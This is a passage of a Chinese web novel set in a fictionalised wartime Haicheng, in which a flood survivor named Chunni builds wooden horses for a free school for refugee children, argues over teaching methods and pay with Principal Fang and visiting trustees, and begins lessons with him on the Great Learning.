到第二天早上,春妮到学校时,惊讶地发现学校里已经提早来了很多人。大伙围着新鲜出炉的小木马你推我我推你:“你试试吧。” “我不敢,碰坏了怎么办?要不你试试吧?” 春妮抱起她个子最矮,年纪最小的学生王小妹放上去:“小木马没这么脆弱,放心玩吧,一个一个来。” 王小妹把着木马的把手,“驾驾驾”,快活地笑起来。其他孩子都一脸艳羡地望着她,有孩子不停地问:“小妹,你玩好了没有?让我玩一下啊。” 最后,孩子们差点打起来的时候,方校长捧着他的茶杯及时走过来,问道:“小顾老师,你看还需要什么,我来想办法凑点钱,给学生们添置一点器材的确很有必要。” 春妮却没有方校长预料中的开心:“不用了,校长要是有钱,先给他们换一套教材吧。” 春妮想起昨天听见的上课内容,望着他,认真道:“再用现在的教材教下去,弄得学校关张了,我倒好说,这些学生可就没人再管了。” 22-30 第22章 022 三合一 只有一个小木马, 对三百多个学生而言,当然是远远不够的。 但是有了这个小木马的示范作用,不用春妮催促, 方校长第二天跟韩老师主动又去了一次码头, 搬来了更多的木板。 不知道方校长跟李二把头怎么讲的价,这回两个男老师忙得满头大汗,来回搬大半天,木板摞了三四摞,摞到半人高,最后擦着汗摊在了椅子上。 这么多木板,凭春妮一个人, 无论如何也不可能在短时间内全部将它们变成漂亮的小木马。 不怕,春妮随即点亮 “发动群众”技能。请几位老师跟学生们倡议, 叫他们有条件的,在家里找点什么锤子钻子,砂轮砂纸等等只要有关木匠活的工具,都带到学校来。临时把体育课变成劳技课, 让这些学生们识过数的给她拉墨斗卡标尺做记号,力气大的帮她锯木头刨木头花, 认真细致的帮她打磨木刺转角,几节课下去,那堆木板就有模有样了。 春妮又叫那些年纪最小的学生帮她拼木马, 谁拼得最快最好,谁可以最先玩木马。学生们知道是给他们做玩具, 一个一个比着赛拼,生怕落到最后,做得别提多开心了。 连夏生下课后都跑前跑后, 一会儿给姐姐端碗红糖水,一会儿帮她把帕子浸到冰水里给她揩汗,殷勤得简直成了个小马屁精。 有老师打趣她:“小顾老师,这回咱们都成了你雇工,你想好怎么付咱们报酬吗?” 春妮大气得很:“胡老师,那木马做完后我批准你先骑最大的。” 胡老师笑骂:“去你的,我又没跟你说木马的事。” “那你说什么?”春妮喝口亲亲小弟特地给她冰的红糖水,给最后一只木马上完了胶。 胡老师有些扭捏,先问她:“你这些板子都是剩下来的吧?还有其他用处吗?” “当然有啊,我都想好了,这些碎木头我没事搬到凉粉摊子那,做几个七巧板,鲁班锁给孩子们玩,那几块整点的,能做几个秋千板子,这个能做跷跷板……”春妮笑道:“胡老师,你要是再不开口,连木头刨花水都没有啦。” 胡老师就是第一天引她参观学校的女老师,今年刚从女校毕业,长着一张显小的圆脸,光看脸的话,比春妮看着还像个学生,大伙没事就喜欢逗她。 胡老师呆呆的,这才知道自己被逗了,啐她道:“就你调皮。那你要是不忙,给我做个板凳,站着给学生批改作业太不方便了。” “你的板凳呢?我记得不是有吗?” “前几天学校不是又收了些学生吗?我们的板凳都叫校长搬到教室去给学生坐了。” “敢情你们现在都站着办公啊?” “那可不,你说你做不做吧?” 春妮盯着剩下的木板估算了一下:“那这样,你回去跟老师们说,要是他们能再找点材料过来,我给他们都做个板凳,这些木料先给你做。” 胡老师开心道:“我去叫他们都来给你看摊子!” “等等,”春妮补充一句:“方校长就不用叫了,我不给他做。” “为什么?”胡老师想起前几天的传闻:“对了,听说前两天你跟方校长吵了一架,原来是真的啊。他怎么得罪的你?不对,方校长这样的好好先生也会得罪人吗?” 春妮哼声道:“你去问他,别问我,好心当作驴肝肺!” “气得不轻啊。”胡老师没多劝,嘀咕着小跑去了老师办公室。 没一会儿,剩下的老师都到了:“小顾老师,我家里没木料,能帮忙想想别的办法吗?” “你找小顾老师能有什么办法,不如我们周末去现砍几棵树呢。” “你傻啦,城里的景观树能随便砍吗?不怕被巡捕房抓去蹲大牢?” “那我们坐船去郊县砍总行了吧?” 这就是纯粹的说气话了,开战以来,海城这条穿城而过的大江叫倭国人守得严严的。那些蛮横的倭国人连外国人的帐都不买,何况是他们?为了几根树杈子,完全没必要冒着被倭国军人羞辱刁难的风险出城。 “校长。”几位老师一筹莫展,齐齐看向不知什么时候悄悄走到人堆外边的方校长。 “咳咳。”方校长冲春妮笑:“大不了我跟韩老师再去趟码头问他们买,小顾老师,你估个数,做板凳还需要多少木料?” 当着这么多人面,春妮不得不给校长点面子:“两三块。” “那是两块还是三块?” “啪”,春妮一斧头破开木条,不理他了。 这下几个老师都瞧出了不对,互相使着眼色也不走远,站在教室门下瞧热闹。 “咳,”方校长尴尬地说:“小顾老师,不带这样的,怎么还使上脾气了?” 春妮心说:我要是使这一次脾气,你还一意孤行不听劝,等夏天结束,拼着这个摊子不要,我也非得让夏生转学不可。 春妮咔咔徒手掰开箍在箱子上的铁条,看得方校长一阵肉紧:“小,小顾老师,你要知道,现在倭国人把手伸向了我们的孩子,我们要是坐视不理,让他们把孩子们祸害成为虎作伥的汉奸,那我们就是民族罪人了。” 春妮眉眼不抬:“里边的学生们,他们哪一个上得起倭国人的学校?哪一个没受过倭国人的气?要是天天对着码头上那些畜生还养得出奴才秧子,这种人有什么可 教的?” 方校长干巴巴的:“……什么孩子,好好教总不会有错的。咱们读书,首先一条得明理不是?我们总得叫这些孩子明白,为什么咱们的国家会落到现在这一步吧。” “校长,你知道我意思。我说过你们宣传这些是错的吗?”春妮把话挑明:“我就认一条道理,这一片现在是倭国人的,咱们学校离他们就三百米远,就用个木栅子围起来。保不齐那些倭人宪兵什么时候想到,到咱们这转悠一圈,听见你们在教室里教‘倭国人侵略东三省,倭国人轰炸双城,倭国人在华北烧杀抢三光’,你猜他们会怎么着?” 学校一直没有正经的教材,老师们都是随手取用材料教学,用的最多的就是报纸。 现在即使是《申报》也很少再这样血淋淋报道抗战战场新闻,光看报纸,只怕会以为海城是世外桃源,战争从未出现一样。那些言辞激烈的报纸,春妮都不知道老师们是从哪找来的。 “最坏不就是死吗?我们不怕死!”不知什么时候,几个老师又走了回来。 韩老师最激动:“国家沦落至此,倭人把持着我们的媒体,总得有人把这些事说出来。总得有人告诉——” 春妮被方校长气过一回,都气出经验了:“那是我怕死吗?我怕吗?我要是怕死,我会冒着被倭国宪兵侮辱的风险,主动拉着校长去码头为学生找材料吗?” 春妮这些天在学校的时间多起来,早发现教的内容不太对劲。她先前一直忍着不说,因为这个时候正常华国人都不可能反对抗倭,包括她在内。她不想给人扣上绥靖的帽子踢出局,待到为学校做些事再开口。只要确定大家的立场一致,剩下的分歧可以慢慢谈。 这所学校是海城第一所,也是唯一一所免费学校,对像她和夏生这样穷人家的孩子非常重要,她得想法子让它活得久一点。 所有人齐刷刷去看校长:他们那天看校长跟小顾老师回来,两个人脸上都没什么异样,还以为什么事都没有呢!校长倒罢了,小顾老师遇到这样的事面不改色,这份胆色的确是一般人及不上的。 春妮说:“我知道大伙都觉得窝囊,我也觉得!咱们不是不反抗,只是在这样的局面下,没有必要做无谓的牺牲。” 有两个老师想说话,叫春妮一瞪:“不用强调,我知道你们什么都不怕。那我问你们,你们是来学校教书的,还是来殉道的?教书先不说,要是你们是来殉道的,那想好你们殉了道之后,学生们的未来吗?一日为师,终身为父,你们想好怎么负责他们的人生了吗?” 春妮盯着方校长。 “其实我也觉得,咱们这样的教学方式是有些冒进了。”沉默中,夏风萍小声说。 “小顾老师的话也不是没有道理,我班里有几个小学生说,大胖这两天天天朝他妈洗的倭人衣裳里放臭虫,说他可英雄了。再这样下去,大胖怎么样不好说,他妈肯定要丢工作的。”胡老师也提起了另一件事。 大胖这孩子春妮认识,他爸以前是码头的搬运工,出事故被砸死之后,她妈靠当洗衣妇养活他们姐弟几个,这样的家庭经不起任何变故。 “这么说来,太小的学生不懂克制,的确不太适合同他们太早说起这些沉重的事。”有老师开始倒戈。 方校长最后说:“放学后开个会吧。”转向春妮:“小顾老师,你也来。” 小顾老师想说,她来学校当体育老师,当木工都认了,怎么还开上会了?这些人是不是忘了,她到现在都没工钱拿? 但她最后只是耷拉下肩膀:“不能开太晚,我们夏生没人接他回家。” 大概是被春妮那一席话给喷的,后边半下午,老师们干什么事都有点没劲。反倒是始作甬者春妮,她吐完憋了好几天的话,那叫一个神清气爽,连带办事效率都嗖嗖往上涨,钉钉砸砸的,很快刨出了好几条凳子腿。 到晚上最后一个学生离开校园,连春妮在的全校共六个老师全都到齐后,方校长习惯性地清清嗓子。 “今天下午的事,不在场的老师们可能都知道了。首先,我要强调的是,咱们现在所在的公共租界西区离码头的直线距离的确是很短,但这是英国人的地盘。倭人宪兵不经过工部局批准,无法进入学校,插手学校教学。” “那学生们的事情怎么说?”夏风萍性急,一等方校长说完,就问了出来。 “是啊,胡老师不说,我还没想起来,前些天我们班也有学生前些天|朝倭人小孩吐口水。校长,太小的学生无法克制自己,我认为目前这样做,除了引起双方更深的仇恨,带来新的矛盾,没有更多的积极意义。” 经过一下午的冷静,其他的老师们终于也回复了理性:“校长,这些学生们是得好好约束,不然要惹祸的。万一出了事,咱们现在保不住他们,只能是平白吃亏。” “校长……” “校长……” 最后,方校长在老师们的围攻下不得不说,“老师们反应的事实也的确值得重视。这样吧,我会尽快向上汇报,等待上级的决定。” 春妮暗自叹气,免费的是最贵的,她早该明白这个道理。 这些人不知道,依照倭人的野心,别说公共租界,就是大半个华国迟早都会落到倭人手里。倭人的爪牙遍布海城,就算现在明面上奈何不了他们,暗地里呢?倭国现在的气焰这样嚣张,英国人会保他们吗? 现在提醒,但愿不晚吧。 “那我们就什么都不做了吗?”方校长宣布散会之前,有老师不甘心地问。 这个问题,没人能回答,包括现在的方校长。 但方校长这个拖延症总算高效了一回,开完会第二天一早,他匆匆出了门。下午他带回来一个消息:“都准备准备,明天上边要来人视察。” 以前学校不是没有来过人视察,但这次的视察明显跟以前不一样,包括春妮在内,他们都有些忐忑。 但转念又一想,她以前就是个在学校门前,现在在学校路口卖凉粉的,真若是有什么事,也轮不到她顶雷。 学校能保住就保,保不住,她也只能独善其身,先管好自己跟夏生。 这么一想,春妮心态顿时放平了不少。 第二天学生们上课没多久,方校长说的,视察学校的人就来了。 这两位先生没像春妮以为的那样,带着许多随从驱车而来。 他们分别坐两辆黄包车,一位穿西装打领带,另一位则是一身蓝色咔叽布的中山装,鼻梁上架一副圆框眼镜,都是肤色白净的中年人。 中山装先生看见春妮的凉粉眼睛一亮,叫住西装先生:“想不到这里竟然还有凉粉卖,我还是多少年前在家乡吃过。甫仁,来,我请你喝一碗吧。” 西装先生抬腕看表:“也好,我还没吃过沙北小吃,就沾常先生的光了。” 中山装常先生一一看过小摊上的种类,讶道:“小姑娘,给我来两碗。你这里的品种很多嘛,这都是些什么种类?能介绍介绍吗?” “没问题,先生您现在手指的是西瓜味的,这种凉粉用西瓜汁榨制而成,旁边这些果仁果脯,三分钱一份,加在凉粉里可以增色调味。这是无糖的,可以加桂花糖汁,红糖汁,焦糖汁,黑梅汁……” 常先生忽然换了种口音,他打断春妮的话:“小姑娘,你是沙北省人?” 他的口音很熟悉,春妮讶道:“先生您也是?” 常先生微笑:“那你也是钟县人了?” 他们钟县人说官话后鼻音很重,还有特殊的连字,在这里居然能碰到老乡,春妮咧开嘴笑:“是啊,我是。您真是我老乡?” “还真遇上老乡了。在海城的沙北人可不多,钟县人 说不定还没有十指之数。”常先生笑道:“小姑娘,你是怎么到的海城?你爹娘呢?” 春妮将她的经历再次简单说了一遍。 说到水灾之时,常先生的神情跟其他初闻此事的人都不太一样,他脸上现出悲愤之色:“这都是双城政府的孽债,早晚有一天,他们会有报应的!” 这是这些天来,春妮见过的第一个直接给双城政府定罪的人。 但经过朱先生的提醒,春妮已经不会再盲目相信一个陌生人的论断。 她给两位男士一人盛一碗凉粉,装作不懂的样子:“先生怎么会这么说?俺们老家发大水,跟双城政府有什么关系?” 常先生重重叹了口气,西装先生则摇头说:“你一个小姑娘家的,就别操心这些事了。来来来,把蜜饯给我加几颗进去。” 这春妮就不服气了,她冷下脸:“先生这是什么话,我家乡发生这么大的事,我怎么能不操心?”说罢怀疑道:“难道你们跟这件事有什么关系?” 西装先生尴尬道:“小姑娘脾气还挺大,你就别乱猜了,不是你想的那回事。” 春妮没作声,常先生则打圆场道:“小姑娘,他没别的意思。你现在已经离开家乡,关心这些事除了徒增烦恼,又能怎样呢?” 春妮低声道:“我也不知道。可假如你们说的事是真的,我是受害的人,至少得知道是谁把我害这么惨。我是从死人堆里爬出来的,我忘不了。我和那些死在洪水里的人,总得死个明白,您说呢?” “然后呢?”西装先生轻轻发问。 “然后,然后……”春妮狠狠咬着牙,想起水里那些无边无际的浮尸,眼底深处泛起血色:“然后我记着,我死死记着!若是叫我知道这是有人故意放水害人……” 她没再说下去,两位先生也都明白了她的意思。 西装先生摇头叹息,常先生则点头道:“好,那先生我就对你说句实话。前几日我家里来了个亲戚投奔,他住的地方离水坝不远,你应该知道那个地方,是钟县北郊的黄家村,就在沙河边上。他同我讲,事发前,他从地里回来,曾见过政府军有几辆车载着兵和炮管开向水坝。”他沉默片刻:“我和他,我们的确都不是亲眼所见。刚才的结论,也是我根据各方消息推断而来,但八|九不离十。现在钟县村户十不存一,活下来的恐怕都逃荒去了,想找到见证人,很难。” “既然你们没人亲眼看到,那会不会也有可能是倭人轰炸的?” 这次水患报纸上曾做过数种猜测,这也是目前民间报纸上主流看法之一。 常先生指了指天:“小姑娘,战机上天是有轰鸣声的,其声数里不绝。如果真的是轰炸,战机的轰鸣声是最好的预警,村民们一定会奔走相告先躲起来。那天来大水前,真的什么预兆都没有。你明白了吗?” 常先生说得这样详细,不是当地人,或者不是真的去当地走访过,是不可能说得出这些细节的。 事发当天,春妮也曾经过常先生亲戚住的黄家村,如果事情就发生在黄家村在的水坝,她也不可能听不见倭军的飞机声。 这个结果春妮早在那座泡水的临时医院里猜到过,现在常先生再说一遍,不过是对她的猜测加以印证。 她很快平静下来。 这样的表现让两位先生有些纳罕。西装先生问她:“对了,小姑娘,你还没说你叫什么。” “我叫顾春妮。先生们怎么称呼?” 西装先生说:“我姓张,顾姑娘叫我张先生就行。” 中山装常先生则冲她竖起大拇指:“我姓常。古有关云长千里走单骑,今有小春妮携弟逃水难。你这个小姑娘了不得啊。对了,你怎么没去学校里读书?” 春妮说:“我读过两年蒙学,学校里教的我都会。” “哦,那你该去高小参加招生考试嘛。” 春妮笑笑,问两位先生:“这还有些花生芝麻碎,两位先生喜欢的话可以往里加一点。” 接下来两位先生又问了她其他的问题,譬如她怎么在学校外头摆起了摊子,一天收入几何,辛不辛苦,麻烦不麻烦。再如这附近环境如何,那些混混有没有找她麻烦,附近的倭国人作不作乱等等等等。 春妮都一一答了。 她原本对这两位先生的身份就有所猜测,见他们后边的问题都在倭军,老师,学生平时的言行间打转,心里就更加有了数。这两位先生必然就是他们等了一上午的贵客,他们这是想在视察之前来一次暗访啊。 她极为配合地有问必答,重点讲述了附近倭国人跟寻常人之间发生冲突后,倭人巡警们时常会越界执法。而英国人大多数时候不止不会管,有时候撞上了还只会和稀泥。 现在春妮的凉粉摊子也做出了名气,两位先生问话的时候,摊子上零散来了三四个顾客。有人听见谈话的内容,附和说:“那些倭国土蛮子霸道得很,先生们注意些,咱们惹不起总躲得起。” 倭国人喜欢穿着大袍袖的本族服装,腰间还系着奇怪的白色布带,跟海城这座时髦新潮的国际大都市格格不入,时常被各国人士嘲笑,还被写成段子放在杂志里。以至于他们面对这些本土人时,总是又自卑又自傲。待到海城被倭国人占领,他们同本地居民的冲突愈演愈烈,大伙对他们都是又恨又瞧不起。 但是,倭人的野心和侵略性有目共睹,这个问题他们不能不提早防备。 提问到最后,两位先生最后对视一眼,不约而同站起来,西装张先生说:“时间不早了,今天先到这吧。” 常先生则语重心长道:“你还是得读书啊,小春妮,你是个聪明孩子,不读书可惜了。” 常先生没有一开口就鄙薄她现在做的营生,也没有轻视女孩子,这令春妮对他的好感大生,多了几分耐心。 看张先生也赞同地点头,春妮无奈道:“两位先生,我得先管好我这张吃饭的嘴呀。最近也不知道怎么回事,买什么都看涨,明明从早做到晚,生意也不差,却赶不上东西涨价的速度,简直搞不懂,辛苦好些天,连个洋铁皮的桶子都买不起。我要是哪天不做事,搞不好就上街要饭去了。” 她和夏风萍的凉粉生意好,两人琢磨着要扩大生意规模,什么都准备得差不多,没想到卡在了洋铁皮桶上。 倭国人实行进出口管制之后,包括洋铁皮在内,所有进口物资涨价涨得厉害,现在市面上洋铁皮做的物件被炒到一个相当夸张的价钱。两人没有办法,只能去木匠铺子里订做了两只笨重的大木桶将就用。 这个问题,两位先生也头疼,常先生怒道:“都是倭人把持关口,不让货物进出,不然市面上商品怎么会贵到这样离谱?” 张先生先一步进了学校,隔着巷子叫:“常先生你来看看。” 两位先生进去后,春妮也走到学校门口,探头朝里看了会儿,见他们径直往那一排还散发着木头香气的器材走去,方校长领着几个老师们走出来,她再又坐了回去。 她原以为接下来不会有自己什么事,又卖了两碗凉粉之后,胡老师出来叫她:“小顾老师,方校长叫你进去。” “怎么还有我的事呢?”春妮擦擦手站起来。 “上面视察的校董来了,他们要见你,”胡老师推她:“我来看着这里,你快进去吧。” “做这些木马的该不会是小春妮你吧?”看见春妮,两位先生大为惊讶。 春妮也明白了,她被方校长叫进来的原因。 方校长讶道:“两位先生认识小顾老师?” 张先生笑道:“何止认识,常先生刚刚还同我说,今天这个小朋友很有聪明呢。” 常先生点 着她笑:“难怪刚刚在我们面前说了学校跟校长这么些好话,小春妮,你是真人不露相啊。” 春妮没料到还有自己的出场机会,想到刚才的那顿尬吹,也有些尴尬:“我说的都是真的,两位先生不也听那些顾客们说话了吗?那些顾客总不会全是我寻来的托吧?” 在这样轻松的氛围下,张先生忽然问:“小春妮,你做这些木马,一天能做多少?” “一个。”春妮不假思索。 “一个?”张先生笑呵呵的:“小春妮,你没说实话啊。那这么些木马,一二三……三十八个木马,你说你做了多少天?” 春妮理所当然道:“三天。”说完自己也笑了:“我可没骗你们,我除了最先做的那个,其他的木马都不是我一个人做的。” “哦?”常先生看了眼方校长:“你们学校还有其他会做木工的老师?” “那倒不是。我们是全校师生一齐动手,还用了三天呢。”春妮将她那两天对学生的安排简单说了说,道:“我也就是给他们木板上画了画线,把他们每个人该做的事,做到哪一步都说清楚,剩下的都是他们做的。” 常先生跟张先生笑:“我看人没错吧,小春妮不简单哪,不要人教,天然就会拿摩温的做派。” 张先生小眼睛笑得眯成一条缝:“小春妮,我能请你帮个忙吗?” 来了来了,就知道好话不是平白听的。 “您先说是什么忙。” “我是想再请你给其他学校做几只木马,不知道你方便不方便。” “我方便啊。”春妮出人意料的爽快。 张先生大喜:“那你明天能开始吗?” “能啊,只要张先生把料备足,我随时可以开始。” 张先生就去看方校长。 方校长马上道:“我这就去码头上联系,张先生预备做多少只?” “先做一百只吧,其他学校场地不大,做多了也排不开。” 这时,春妮插嘴道:“那一只工钱是多少?” 方校长忙道:“小顾老师,学校经费紧张,你,你帮帮忙。” “我帮忙啊。”春妮说,“我都愿意放下摊子做木马了,还不算帮忙?不能叫我做白工吧?” 方校长想说,你的摊子有我们看着,耽误不了你做木工。 春妮根本没给他张嘴的机会,面向张先生:“您要我一个一个亲手给您做,一百个我要做一百天,这一百天里我吃什么喝什么?” 方校长又说:“不用一百天这么长,就照你之前的法子,发动学生们做,要不了几天。” “那更不能做白工了。咱们学生的家境您是知道的,一点工钱说不定能吃一碗饱饭,从某些方面来看,比上学还实惠。要是这点钱都不给,那不是白占人便宜吗?不付工钱,谁会认真给你做事?有劳有得,这不是你们这些学问家在报纸上倡议的吗?”春妮不客气地说。 在末世,等价交换是第一黄金定律。别人付出了劳动,他就得有报酬。这是春妮认准的,最朴素的道理。 学生们三天能做三十八只木马,那是因为他们自己受惠。现在上边两嘴一张要人做白工,就算学生们愿意,也不能这么欺负人啊。就连春妮自己愿意白做木工,也是因为校长愿意给她免费的杂物房呢。 最后,张先生去看常先生:“你那里能拿出多少钱?” 常先生苦笑:“我那里的钱昨天全付了城西的房租,你忘了?” 本来以为体育器材的问题能够靠学生们解决,但春妮说的也是实情。尤其张先生曾经在德国留学,那些发达国家请人做什么都要钱,现在春妮跟他谈钱,他除了窘迫,也觉得这样才是正常。 两位先生在一边商量半天,同春妮道:“我们得过一阵子才有钱给你们,这钱先欠着怎么样?” 如果木马还按她先前那样的做法,她也就是个上胶水的。这活很轻松,占不了半天时间。春妮表示同意。 最后几人商量,木马的料子由方校长和他们想办法,工钱是一只五毛钱,先送货后付款。 春妮完全没有意见,这两位先生一看就是有头有脸的人,不会赖掉他们那点钱。 所有的事情商量完毕,常先生想起来问:“我听方校长叫你小顾老师,这是为什么?” “方校长看上我的拳术,让我教学生们打拳。”春妮打了个勾拳,表示自己有真功夫在身。 常先生问:“哦?这事方校长你怎么没说?什么时候开始的,我好像没看见发俸单上有姓顾的老师啊。” 张先生则惊奇地说:“小春妮,你还会打拳?你还会些什么?” “方校长怎么会想到请一个小姑娘当体育□□的?” 春妮没想到,两位先生听说她会打拳,比刚才听说她会做木马还新奇,拉着她问了半天,差点连底裤都要被他们扒掉。 最后常先生边笑边说:“方校长一分钱不花就请了位高手看门,还给学生们教授绝学。搞半天,校长你才是最厉害的啊,刚刚该让你跟小顾老师议价的。小春妮,你这回怎么没找校长谈工钱呢?” 春妮犹豫了一下,说:“校长让我用杂物间放东西。”这么一说,她的确是有点亏啊。 但不知道怎么回事,春妮并不是很想跟方校长计较这笔得失。 这都不像她了。 两位先生相视着哈哈笑起来。 常先生说:“罢了罢了,你不叫学生吃亏,我也不好叫你吃亏。这样吧,方校长把小顾老师的课时统计出来,下个月给她按正式□□发薪水。” 竟然还有这样的好事! 春妮高兴极了:“真的?我也能领薪水?” “那还有假?”张先生笑说:“常先生可是我们学校的财神爷,我说给你发薪你可以不信,常先生要给你发薪,那就是十足的真了。” 张先生和常先生离开后,方校长送完两位先生回来,对她叹了半天的气:“小顾老师,做几个木马又不费事,五十块钱够付多少个□□的薪水,够买多少条桌椅板凳,真没必要问两位先生张口。” 春妮就知道他心里拧着,不乐道:“不费事就要干白工?我们老家地主都不用这个理由使唤人呢。” 方校长脾气好,春妮一向跟他有什么说什么。除了上回春妮说他的教学内容有问题,他急眼一回,这回……这回是第二回。 方校长怒道:“你这孩子怎么说话呢?把两位先生跟地主老财比,地主老财操心你读不读书?地主老财免费给你建学校,叫你上学?” 春妮一时失言,心里也懊悔。听方校长训她半天不歇气,脾气渐渐又上来了:“那我是为了我自己?那五十块钱有多少钱是我的?我辛苦一场有我卖半天凉粉的利多吗?我就知道,人做了事就得有报酬!” “报酬报酬!你张口就知道报酬,那我问你,你知道两位先生操劳一场,学校接受近五千名难童入学,他们的报酬是多少吗?” 方校长脸都气红了:“来,我告诉你,张先生是负两千块,常先生是负一千块!人家把自己每个月的薪水捐出来给学校当经费用,要是事事都论报酬,两位先生你要付人家多少钱?” 春妮傻了:“那,那学校不是双城政府出资支持的?”她一直觉得,这么大规模的学校不可能有人单独办得下来,背后肯定有大势力的授意。他们想跟倭国人打擂台,才便宜了他们这些穷人,不可能有天上掉馅饼这样的好事。 “双城政府倒是想得博这美名!他们也配!”方校长冷笑一声,接着道:“我明白跟你说,这几所学校都是两位先生牵头,拉下脸皮找善心人士通过各种渠道,一点点在商行,在街头在学校募集来的经费,这些钱来得多不容易啊,你是个懂得世情的孩子……哎!这些善心人士抱着先生们将钱投入穷人教育的希望捐献来的,这五十块钱,能多做多少事,多收多少个难童入学?结果……” “那……那 ,我那份不要了?”春妮小小声。算下来没多少,她要不要关系不大。 方校长瞪眼看她,都被她气笑了:“人家常先生可不是出而反尔的人,你不想要,人家也不会往回收。” 他语重心长:“小顾老师,我现在跟你说这些,也不是说你收钱是错的。做了事付钱是天经地义,我知道你也很缺钱,可谁不缺钱呢?方老师我现在住在学校,连妻儿都没办法接过来团聚。我不缺钱吗?韩老师为了来我们学校教书,放弃了去洋行工作,他不缺钱吗?还有夏老师……春妮,咱们这个世界,不是遇到什么都要谈钱的。总有比钱宝贵的东西,你得承认吧?” “什么东西?”春妮脑子被方校长说晕了,这些道理,以前从来没人跟她讲过。她好像有些明白,但又不是很明白。 “我问你,倘若有一天,我看上夏生,想买他当我儿子,我出多少钱你肯卖?” “夏生不卖!”春妮立刻说。 在老家的时候,堂叔就打过弟弟的主意,想说服她把弟弟卖给县里一户人家,让她给骂回去了。饿急眼了,她什么都可以卖,但夏生,她妈,她奶奶,那是不一样的,是她以前从未有过,现在无论如何也不能失去的东西。 可她还是失去了妈妈和奶奶,她绝不能再失去夏生。 方校长就笑了:“你看,你也有比钱宝贵的东西,不是吗?” “那常先生肯拿钱出来建学校,是因为学校在他心里比钱更重要?”春妮举一反三:“为什么?” 方校长露出“孺子可教”的表情:“这个答案,我早就告诉你了。” “因为他想让孩子们都有学上?”方校长曾讲过这所学校建立的初衷,她听夏生提过一嘴。他们末世还全民义务教育呢,这件事在她眼里,没有那么稀奇。基地肯免费教他们,是为了让他们能更好应对末世,让他们在出征时少死一点。人很宝贵,这是上下都知道的事实。 “他为什么会这么想?”方校长反问道。 “因为只有识字的人多了,咱们国家有文化的人多了,才能学到国外的技术,强大自己,让别人不敢侵犯我们。”春妮不假思索,这些天她时常看报,这都是报纸上有过的观点。 方校长对这样套路的答案不满意,“有句话我忘了说,别看常先生只掏出了一千块钱,可那是他全部的积蓄。据说因为他连当月的薪水都捐了出去,家里不得不靠借贷过日子。” 这太匪夷所思了!在他们末世,这样不留后路的做法会被人笑话死的! 常先生并不像那样莽撞不周全的人。 “校长,我再好好想想吧。我不是很懂这些。”她茫然地说。 第23章 023 明理明志 “每天晚上放学后, 你先别走,我给你补补课。”方校长说:“我可不想最后你自己想出来的答案气死我。” “我——” 方校长眼睛一瞪:“怎么?要卖凉粉?走不开?要做馒头?走不开?” 不要惹正发脾气的老实人。 春妮缩着脖子,觉得这时候的方校长特别像她妈。她小时候做错事, 她妈总这样竖起眉毛训她。她……她一句话不敢吭。 至少管得在外手劈小混混, 在内横扫小学生的小顾姐不敢再言东言西。下午下了课,老实在外头等着校长:“校长,我来了。” “嗯,”方校长脸上看不出高兴还是不高兴:“去我办公室。夏老师,你带夏生先回去。” 夏风萍给春妮一个“你好自为之”的眼神让她自行体会,十分没有朋友爱地拉起夏生扬长而去。 倒是小夏生回头频频看她:“姐姐,你早点回来呀, 我在家等你。”这还是来海城之后,春妮头一回晚上跟他分开, 他好不容易才忍住没抱着她耍赖不走。 走到门口,又想起来说:“朱先生带的和果子我给你留着,你记得回来吃。” 夏夜漫长,阳台纳凉四人组维持了夜谈会和轮流买零食吃零食的惯例, 今天再次轮到朱先生。因为朱先生工作的报社在倭人聚集区,他时常带回来一些倭人的传统小零食。昨天晚上他征求过两名女士的意见, 说好今天会带和果子回来给他们尝尝鲜。 春妮:“……”和果子什么味,她还没吃过呢! 校长办公室就是方校长的宿舍,这里应该以前是库管的值房, 现在白天成了老师办公室,到了晚上, 桌上的东西一收,办公桌就变成了校长和守校的韩老师的床。 现在韩老师在外边转悠,这让春妮自在了一点。 春妮在桌边坐下:“校长, 咱们先学什么?” “不着急,先吃个烤山芋垫垫肚子。”方校长到外边走廊上,从灶膛下边摸出几个黑乎乎的东西,递给春妮。 怎么能不急呢?学校六点放学,七点一过天就开始黑,天黑了路不好走…… “晚上我送你回去。”方校长像是知道她在想什么,“你今天先照这本书上写两篇字。” 他给了春妮一本书,《大学》。 春妮简直搞不懂他:“您不是要给我补课吗?补课就是看四书五经?” 方校长轻飘飘瞥她一眼:“翻开第一页,念。” “大学之道——” “不是这一句,下一句。” “知止而后有定,定而后能静,静而后能安,安而后能虑,虑而后能得。” 方校长闭上眼睛:“继续念。””物有本末,事有终始,知所先后,则近道矣。“ “知道这两句话的意思吗?” 春妮摇头,她是在秀才家开过蒙,可秀才给她开蒙用的书是《女戒》《女则》,学里又只有她一个姑娘。勉强读两年之后,她就不愿意去了。 “好,那我从头跟你讲起。头一句话是说,知道自己的目标才好明白自己的志向,明白自己的志向才能镇静,镇静才能安心,安心才能思虑,思虑之后方可有所收获。” 方校长说:“读书,首先在明志。一个人若想不明白自己为什么读书,读得再多,也只是只死读书,无所收获的书蠹。你知道你为什么读书吗?” 她知道的,为了活下来。为了看懂上边的命令,为了知道救生工具怎么操作,还为了学习兵法。如果她资质很好,还能留在基地里搞科研,可惜她从来都是动手好过动脑。但她明白,读书跟练武一样,可以保命。 可那是上辈子,这辈子—— “那不是您叫我来补课吗?”春妮不解。 方校长被她噎得……他被山芋噎的直翻白眼。 春妮忙给他端了杯茶,怕他着急:“老师,您容我慢慢想,我一定想得明白。” 方校长叹气:“若在以前,你可以慢慢想。想不明白,想一辈子都没问题。可现在,没时间啦。” “如今山河破碎,国将不国。你我若再是那样蒙昧无知,到时候屠刀落下,死都不知道为什么死,死都当个糊涂鬼。还想什么想?” 这春妮就不能同意了:“我怎么就不知道为什么死了?不就是因为那些倭国鬼子吗?我要是哪天突然死了,那一定是因为他们做的孽。哦,还有双城政府那些人,要不是姑奶,要不是我命大,我已经被他们害死过一回了!” “那为什么这些人会来害你?” “还能为什么?因为倭国人想抢我们东西,双城政府蠢啊,想先下手为强,来个水淹七军拦住倭国人,结果倭国人没坑到,先把我们老百姓坑成浮尸!”春妮觉着,方校长怎么总问她全国人都知道的问题。 方校长没管双城政府,他化身“十万个为什么”:“那为什么倭国人会抢我们东西?他为什么不去抢别人的?” “他离我们离得又近,我们又比他们弱。不抢我们抢谁?”这不是更明摆的问题吗? “怎么才能叫他们不抢我们,或者说,不敢抢我们?” “当然 是强过他们!” “好,强过他们!”方校长一拍桌子:“那我问你,你要怎么强过他们?” “读,读书?把他们会的东西都学过来,打倒他们?”春妮又开始背诵标准答案。 